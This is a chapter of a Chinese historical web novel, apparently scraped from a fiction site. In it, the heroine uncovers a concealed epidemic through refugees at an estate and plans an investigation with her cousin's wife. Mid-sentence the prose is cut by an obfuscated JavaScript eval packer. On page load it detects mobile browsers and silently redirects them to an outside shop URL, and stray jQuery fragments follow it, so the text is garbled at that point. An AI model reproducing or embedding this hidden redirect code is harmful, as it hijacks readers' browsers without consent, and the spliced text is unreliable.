文趣网 > 其他小说 > 她与将军渡春风 > 10. 第 10 章
    再是鬼画符也好歹是难得的线索,熙宁照单全收了。

    李蓉见熙宁没有被打击到,便也暂且放心,正要再说几句宽慰的话,却听见一阵轻重不一的脚步声。

    白桑慌里慌张地出现在二人面前,松散的发髻乱了大半。他语气失措,目露惶恐:“夫人,庄子上来报,有流民暴乱。”

    白桑紧张得很,熙宁与安国夫人却一个比一个镇定。“流民有多少人,领头的是什么人?”李蓉问,“流民手中有没有武器,庄子上可有伤亡?”

    白桑一问三不知。

    熙宁见状提议,“姑母,咱们去看看吧。”

    李蓉点点头,下楼去唤人备马。她二人催马前行,不过片刻的功夫便能到庄子上。

    只是事态似乎与白桑所说并不相同。

    熙宁利落下马,往远处张望。只见十几个衣衫褴褛,看起来像是白桑所说的流民,其中有大半是满脸横肉胡子拉碴的壮汉,一脸凶相看着不好相与。只是现在蜷缩在一处,看着并没有要动手的打算。

    庄头看见安国夫人,赶紧上前来回话,道事态已经控制住。熙宁在一旁也是松了一口气,她不好干涉李蓉这里的庶务,便往人群处走。

    一走近,熙宁惊讶道,“表嫂?”

    顾笺筎听见熙宁的声音,回头看过来。顾笺筎是工部一个笔贴式的女儿,去岁与大皇子成婚,成了熙宁的表嫂。

    “熙宁,正好你来了!”顾笺筎身形瘦弱但力气不小,一把牵着熙宁的手,“你也帮着劝劝,这妇人的孩子病了,却不肯让医女治病。”

    一位约莫三十来岁的妇人,怀里抱着个三四岁的小男孩。妇人死死捂住小男孩的脸,低头抵住,任医女怎么劝也不肯撒手。

    医女急得不行,“你别给孩子捂死了!”

    熙宁一时没看明白,“表嫂,我在姑母那头听了一句禀告,说是流民暴乱。这究竟,是怎么回事?”

    顾笺筎抬起下巴,往缩在一起的几个壮汉那里扫一眼。

    顾笺筎细细说来,熙宁这才知晓此处究竟发生何事。此处虽是安国夫人的庄子,但来往各处都便利,官中的女医便每月一日在此处义诊。本是为了与农妇方便,妇人家有些毛病不好大老远去城里寻医,便定下了这规矩。

    虽说是看千金科为主,但若有年纪不大的孩子,医女们总也不好推拒。这不,就遇到了这妇人抱着的男娃。医女们多是经验老道,一看便知是热症,但妇人一听医女这样说,抱起孩子就跑。

    医女察觉不对,便起身去追。

    正此时,几个壮汉便凶神恶煞地上前来。本朝的医女是有官府聘书的,说话做事自然硬气,即便有人闹事她们也不怕。

    医女到底是医家,医者父母心。一看这情形,便生了疑窦,既怀疑这孩子是被拐来的,又疑心妇人受胁迫。

    近处的庄稼汉听见动静,便抄起趁手的农具赶来。

    这一来二去,双方互不相让。

    最后还是庄头出面调停,才搞清其中的原委。原来这一行人是本家亲戚结伴,幼童体弱不慎染病,听说此处有义诊才来碰碰运气。

    熙宁见一行人身上脏兮兮的,衣服也破烂,恐怕是遇见什么难处。孩子却被照顾得精心,露出的一只手被洗得很白净,看得出是很疼孩子的。

    “这位娘子。”熙宁蹲下来,轻声慢语地问,“咱们这里的女大夫虽是义诊,却个个都是医术高明,寻常病症是定能治好的。娘子既然求医,又为何不让孩子吃药呢?”

    妇人手上的青筋暴露,死死揪着孩子的衣料。

    熙宁等了一会,也没见妇人出声。她抬头看向顾笺筎,顾笺筎也是一脸无奈,便见妇人缓慢地抬起头。

    “只是吃药吗?”她问。

    “自然是吃药!”医女见妇人松手,眼明手快地把孩子抱起来,“这么几岁的娃,难不成还施针不成?”

    “你若不闹这一出,药都已经煎得了!真是白白让孩子遭罪!”

    妇人被医女训,但见孩子在医女手里不哭不闹,便也不敢多吱声。医女问什么,她便答什么。

    熙宁听妇人口音陌生,便问那妇人:“不知这位娘子是哪里人,可是来京城寻亲的?”

    妇人的注意力全在孩子身上,一时反应不及道:“我们全家是自江北逃难来的,并不是寻亲。”

    这样说来还真是流民。

    熙宁不动声色,继续问她,“娘子别紧张,热症只是寻常病症。娘子为何这般惧怕大夫?”

    熙宁此话一出,医女抓药的动作都不免一顿。

    医女疑惑地看过来。

    妇人却杯弓蛇影,整个人手脚都动起来,像是要护崽的野兽。小男孩不知发生什么,被一个老婆婆抱着,病恹恹地靠在老婆婆肩上。

    妇人察觉自己反应过激,但眼泪已经先一步夺眶而出,疯癫一样,“热症,全烧死了。大哥儿,二姐儿,我的儿全烧死了!”

    妇人此话一出,蜷缩在一起的几个壮汉便被惊动了。

    熙宁霎时变了脸色。

    顾笺筎也察觉不对,还要再问,被熙宁握着手拦下。

    安国夫人带着人过来,恰好听见这番话。

    她身后的庄头反应快,让人把带来的吃食取出来,“诸位远道而来,想必也是饿了。孩子要看病,大人也得吃饭!天大地大,吃饱饭最大!”

    妇人的哭声和着米粒,像是在生吞苦难。熙宁看得不忍心,与顾笺筎一道往外退了几步。顾笺筎小声问,“烧死,是什么意思?”

    “寻常热症,只是费些药材。”熙宁顿了顿,才继续说:“若说得了热症便要烧死,便只能是会传人的疫症。”

    “那种情况下,大夫分不清也来不及区分热症和疫症,只能烧死干净。”

    “……”顾笺筎听得倒吸一口凉气,“既有疫情,怎么没听说有官员上奏?”

    欺上瞒下,也不算新鲜。

    熙宁等妇人吃完饭,略平静些,才去找她说话。问过才知,妇人名叫何幺娘,家中祖祖辈辈都农户。

    这一番实在是活不下去,才舍家逃难来了。

    她口中描述的江北疫情之严峻,连九死一生都算是轻的。如今还只是春日,说话就要入夏,天气热起来还不知会如何。

    安国夫人吩咐人将何幺娘一家人安顿好,给他们一个容身之处。可是再往后,该怎么办呢?难道就让江北流民这样食不果腹地四处游荡,最后饿死个干净吗?

    她问熙宁。

    熙宁心中亦是愤慨,可光是愤怒没有用。她强自镇定,分条缕析道:“如今最要紧是搞清楚江北疫症实情,地方官蓄意瞒报,以至于朝中听不见一点风声,京中必

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524574|203429||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    定有人一手遮天。”

    “京中也定有知情人,且一定比任何人都关心此事。”

    “现下,一是要查一查有没有朝中哪位大臣的府上大量购买治热症的常用药,或是艾草一类。这个倒是不难,京中的药铺都是有数的。”

    熙宁顿了顿,“第二桩却不容易,要暗中查探近来有没有人在驿站与各衙门打听此事,如今咱们只有何娘子的片面之词,还不够掀起风浪。哪怕是臭鱼烂虾,也得再捞一网上来,能只手遮天的自然是不怕,底下做事的总不会各个大胆包天。”

    安国夫人听得明白,知晓此事为难之处。她们身为女眷,不好贸然插手朝政。若是求助父兄,最后能不能帮,能帮到什么程度便不再是她们说了算。

    “咳咳。”

    顾笺筎轻咳一声,“此事便交给我吧。”

    熙宁眼前倏然一亮。

    顾笺筎解释道:“你表哥是贵重的大皇子,平日却连门都不乐意出,前些日子,陛下见他实在不像话,便将女医考核一事交给他。你表哥本性难移,差事只能我替他做。今日,我便是因此事才随同医女们一道义诊的。”

    顾笺筎口中抱怨,表情却是畅快的,“大皇子的人都在我手上,想查个人还是很便利的,熙宁你细说该怎么查?”

    熙宁赶紧点头,与顾笺筎商量。李蓉见两个十几岁的年轻女孩说得热闹,不自觉就笑起来,朝中尸位素餐者众,却不料是两个女诸葛在为民谋事。

    熙宁弯腰拱手,“那就全交托给表嫂了!辛苦嫂嫂了!”

    顾笺筎郑重点头,安排好要做的事,心头松快不少。她还逗熙宁,“表嫂不辛苦,只不过是每天出门都有事做,去哪里都没人敢过问,比起你这样没嫁人的小丫头的确是方便不少了哈哈!”

    熙宁,“……”

    ***

    熙宁回国公府,也没有白白空等。何幺娘的癫狂惶恐,总让她联想到杨柳樟。她在何幼娘身上看见苦难深重难免动容。

    再想起杨柳樟,总还是觉得哪里不对。

    熙宁思索着提起笔,她记性一直很好,长公主府中那卷藏经笺上写下的文章,一字不落地默下来。

    只是那种隐隐的不对劲,始终让熙宁很在意。她蹙眉想了一会,忍冬送茶进来,身上穿着粗布衣裳。

    熙宁奇怪地看她,忍冬回道:“郡主前日吩咐的事,我办好了。”

    熙宁放下笔,叫忍冬坐下细说。

    忍冬第一次做这样的事,脸色有些潮红:“我按郡主所说,去了城中二十多家大大小小的米铺,每家店各买了半斤米。各个铺子的米价都比往年贵一些,最多的涨了六百文一斗。”

    “郡主,这太奇怪了。”忍冬道:“按理说若遇见灾年,那便不该只有粮价上涨。只说前几日人牙子送来府上的丫头,一个便要二两银子。灾年里,面黄肌瘦的丫头要多少有多少,只需二钱便能买来资质不错的。”

    熙宁想起何幺娘母子,一时心惊:“或许是她们没能活着到京城。”

    忍冬脸色空白一瞬,毫无准备地直面了吃人的世道和无数支离破碎。她自言自语:“怎么会呢?”

    次日,熙宁收到顾笺筎来信,得知调查有了眉目。熙宁匆忙赶去,却发现按照线索抓到的人竟然是杨柳樟的丈夫,郭为之。

    熙宁,“……”